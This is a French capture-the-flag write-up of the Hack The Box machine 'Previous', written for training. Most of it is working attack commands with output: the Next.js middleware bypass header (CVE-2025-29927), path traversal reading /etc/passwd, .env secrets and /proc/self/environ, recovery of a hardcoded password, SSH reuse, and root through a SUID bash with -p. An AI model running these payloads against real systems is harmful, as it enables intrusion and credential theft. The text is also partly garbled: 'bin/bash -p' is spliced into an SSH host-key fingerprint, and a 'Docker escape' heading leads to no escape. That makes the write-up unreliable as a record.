Previous est une box Linux de difficulté intermédiaire sur Hack The Box. Elle montre des vulnérabilités modernes liées aux applications Next.js et à la mauvaise configuration des droits sudo associés au binaire terraform.
Accès initial
Comme d'habitude, je commence par un scan Nmap profond pour savoir à quoi j'ai à faire :
~/ctf/htb/en_cours $ nmap -sC -sV 10.10.11.83
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-06 20:02 +0100
Nmap scan report for previous.htb (10.10.11.83)
Host is up (0.024s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4bin/bash -p:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: PreviousJS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.74 seconds
Seuls deux ports sont ouverts : le port SSH classique (22) et un serveur web nginx (80). La page web s'appelle PreviousJS. Pour chercher des pages cachées, je lance un fuzzing des répertoires :
~/ctf/htb/en_cours $ dirb http://previous.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Dec 6 21:15:35 2025
URL_BASE: http://previous.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://previous.htb/ ----
+ http://previous.htb/api (CODE:307|SIZE:35)
+ http://previous.htb/apis (CODE:307|SIZE:36)
+ http://previous.htb/cgi-bin/ (CODE:308|SIZE:8)
+ http://previous.htb/docs (CODE:307|SIZE:36)
+ http://previous.htb/docs41 (CODE:307|SIZE:38)
+ http://previous.htb/docs51 (CODE:307|SIZE:38)
+ http://previous.htb/signin (CODE:200|SIZE:3481)
-----------------
END_TIME: Sat Dec 6 21:17:53 2025
DOWNLOADED: 4612 - FOUND: 7
Plusieurs routes intéressantes apparaissent, comme /api, /docs, et surtout une page de connexion /signin.
En analysant les fichiers JavaScript du site, la plupart des chemins commencent par /_next/static/chunks/, confirmant qu'on a affaire à une application Next.js.
Sur la page d'accueil, on a l'adresse de contact jeremy@previous.htb ça pourra être utile plus tard.
Authentication Bypass (CVE-2025-29927)
J'ai testé plusieurs injections SQL sur le portail de connexion sans succès. Je dois donc trouver une auth bypass sur next.js :
CVE-2025-29927: Next.js Middleware Authorization Bypass
Trouvé.
Pour exploiter cette vulnérabilité, je dois confirmer la version de Next.js. Je fais donc plusieurs tests de payload et celui des versions récentes (>= 13.2.0) permet de passer les filtres ! Je récupère les en-têtes de l'application via une simple injection d'un header x-middleware-subrequest :
~/ctf/htb/en_cours $ curl -I -X GET 'http://previous.htb/docs' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 06 Dec 2025 21:48:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3353
Connection: keep-alive
X-Powered-By: Next.js
ETag: "83h4wb4nfw2l1"
Vary: Accept-Encoding
La réponse `200 OK` confirme l'accès non autorisé. À travers Burp Suite, j'explore donc le site en tant qu'utilisateur "connecté" !
LFI
Sur la page listant des exemples, une fonctionnalité retient mon attention : elle permet de télécharger un fichier de démonstration.
<p>Download the full example <a href="/api/download?example=hello-world.ts">here</a>!</p>
Le paramètre example n'est manifestement pas filtré. C'est le comportement classique d'une LFI. Je teste un Path Traversal sur `etc/passwd` via ce paramètre en y ajoutant le header pour le bypass :
~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../../../../../../../etc/passwd' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
Seuls deux utilisateurs possèdent un shell interactif pertinent pour la suite de l'exploitation : root et node.
Exploration du code source
Maintenant que j'ai une LFI illimitée, je vais récupérer les secrets et la logique de l'app (App Router).
Je trouve l'arborescence recommandée dans la documentation Next.js et je récupère d'abord le package.json avec un chemin relatif :

Getting Started: Project Structure - Next.js
~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../package.json' \
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
{
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build"
},
"dependencies": {
"@mdx-js/loader": "^3.1.0",
...
"next": "^15.2.2",
"next-auth": "^4.24.11",
...
},
...
}
L'application tourne depuis /app, j'utilise donc le chemin relatif approprié pour chercher d'éventuels secrets. La prise principale s'effectue dans le .env :
~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../.env' \
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

J'ai testé de forger moi-même un nouveau token d'administration valide signé via cette clé trouvée :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJqZXJlbXkiLCJlbWFpbCI6ImplcmVteUBwcmV2aW91cy5odGIiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNTE2MjM5MDIyfQ.JS07CbQ534th6vJ4MExbyAT_DslRDIETnZsRIAe-nQE
C'est un échec, ce JWT forgé ne me donne pas plus de droits. Je repars à la chasse aux identifiants plus profonds. L'analyse des arguments du process avec /proc/self/cmdline et /proc/self/environ me confirme l'espace du backend Node :
~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../../../../../proc/self/environ' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -o o
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production
Pour mieux comprendre la logique de l'application Next.js compilée, je m'intéresse à son fichier de manifest routes-manifest.json.
~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../.next/routes-manifest.json' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
{
"version": 3,
...
"dynamicRoutes": [
{
"page": "/api/auth/[...nextauth]"
...
La documentation de Next.js parle de fichiers pré-compilés stockés sur .next/server/pages/.
La route /api/auth/[...nextauth] pointe vers le fichier gérant la logique du login. Je télécharge ce javascript "minifié" :
~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' > -o -
"use strict";(()=>{var e={};e.id=651,... let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET} ...
L'argument est clair comme de l'eau de roche, le mot de passe est hardcodé pour l'utilisateur de test jeremy s'il n'est pas fourni par l'environnement : e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes").
Je dispose désormais des identifiants valides : jeremy : MyNameIsJeremyAndILovePancakes.
J'ai réessayé de me connecter à la webapp avec ce compte pendant un moment avant de me rabattre sur une évidence classique d'infrastructure : la réutilisation de mots de passe (Password Reuse). Je tente donc cette paire d'identifiants directement sur le service SSH et... bingo, je me suis connecté et j'obtiens un shell interactif !
Élévation de privilège
La première chose à faire est d'explorer le déploiement du serveur web. L'application Next.js est dockerisée et mappée sur le réseau local localhost:3000 :
-bash-5.1$ ls
docker user.txt
-bash-5.1$ cd docker/
-bash-5.1$ cat docker-compose.yml
services:
next:
build: previous
restart: unless-stopped
ports:
- "127.0.0.1:3000:3000"
-bash-5.1$ cd previous/
-bash-5.1$ cat Dockerfile
# syntax=docker.io/docker/dockerfile:1
...
CMD ["node", "server.js"]
Docker escape et compromission finale
Pour m'élever sur la machine hôte principale en root, je vérifie immédiatement les droits sudo :
-bash-5.1$ sudo -l
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
Intéressant ! Mon utilisateur jeremy a l'autorisation d'exécuter terraform apply avec les privilèges root dans le répertoire /opt/examples. Je m'y déplace pour l'inspecter :
-bash-5.1$ pwd
/opt/examples
-bash-5.1$ ls -la
total 28
drwxr-xr-x 3 root root 4096 Dec 7 16:09 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root 18 Apr 12 2025 .gitignore
-rw-r--r-- 1 root root 576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root 247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Dec 7 16:09 terraform.tfstate
Le fichier main.tf est présent mais m'offre peu de prise, il n'accepte pas de bloc `provisioner` ou autre vulnérabilité par défaut me permettant d'injecter une commande système par l'application :
-bash-5.1$ cat main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
Je ne peux manipuler qu'une seule commande : /usr/bin/sudo /usr/bin/terraform -chdir\=/opt/examples apply. Je n'ai ni les droits d'écriture sur les fichiers intéressants, ni la capacité de créer un fichier de conf Terraform secondaire ici. Mes tentatives de tromper le système avec du path hijacking (par exemple modifier des binaires via /tmp et l'export du PATH) butent sur les protections strictes de sudo. Je cherche donc ailleurs.
Je regarde donc les binaires avec un bit SUID activé par défaut à bord du système avec find :
-bash-5.1$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /usr/bin/bash
-rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Je remarque tout de suite une aberration totale : l'interpréteur /usr/bin/bash possède un bit SUID accordé dans sa configuration. Un bash SUID est en temps normal extrêmement critique. L'explication se trouve en réalité au niveau du système de sécurisation global du terminal d'Ubuntu :
En pratique, lorsque /bin/bash est invoqué par un utilisateur autre que son propriétaire (ici root) dans un contexte SUID régulier, il "rétrograde" explicitement les privilèges hérités de son créateur, exécutant son travail avec nos propres droits (l'EUID est remplacé par l'UID réel). C'est une protection très connue de Bash.
Néanmoins, l'ajout du flag de ligne de commande -p lors de son appel lui enseigne précisément de ne pas rétrograder ses droits... Dès que j'ai vu cela, nul besoin du terraform :
-bash-5.1$ /bin/bash -p
bash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)
bash-5.1# cat /root/root.txt
Rooted